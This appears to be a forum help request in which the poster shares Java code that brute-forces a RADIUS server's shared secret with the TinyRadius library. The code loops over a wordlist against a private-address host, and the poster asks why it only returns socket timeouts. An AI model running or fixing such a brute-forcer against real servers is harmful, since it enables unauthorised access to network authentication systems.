Unable To Connect To RADIUS Server

So I have a RADIUS server running at 10.0.0.15. I have to brute-force its shared secret. I am using the TinyRaidus Java library.

Here is my code:

String s = "big line...";
String[] words = s.split("\W+");
        String host, userName, password;
        userName = "admin";
        password = "pass";
        host = "10.0.0.15";
        int count = words.length;
        for (String word : words) {
            System.err.println("Left: " + count);
            RadiusClient rc = new RadiusClient(host, word);
            try {
                if (rc.authenticate(userName, password)) {
                    System.out.print("Cracked. Secret is: " + word);
                    break;
                }
            } catch (IOException ex) {
                Logger.getLogger(RadiusBrute.class.getName()).log(Level.SEVERE, null, ex);
            } catch (RadiusException ex) {
                Logger.getLogger(RadiusBrute.class.getName()).log(Level.SEVERE, null, ex);
            }
        }

However, everytime I run this, I get this error:

Jun 21, 2016 12:48:28 AM org.tinyradius.util.RadiusClient communicate
SEVERE: communication failure (timeout), no more retries
Jun 21, 2016 12:48:28 AM radiusbrute.RadiusBrute main
SEVERE: null
java.net.SocketTimeoutException: Receive timed out
        at java.net.PlainDatagramSocketImpl.receive0(Native Method)
        at java.net.AbstractPlainDatagramSocketImpl.receive(AbstractPlainDatagramSocketImpl.java:144)
        at java.net.DatagramSocket.receive(DatagramSocket.java:812)
        at org.tinyradius.util.RadiusClient.communicate(RadiusClient.java:249)
        at org.tinyradius.util.RadiusClient.authenticate(RadiusClient.java:83)
        at org.tinyradius.util.RadiusClient.authenticate(RadiusClient.java:65)
        at radiusbrute.RadiusBrute.main(RadiusBrute.java:284)

Here have I done wrong? Thanks.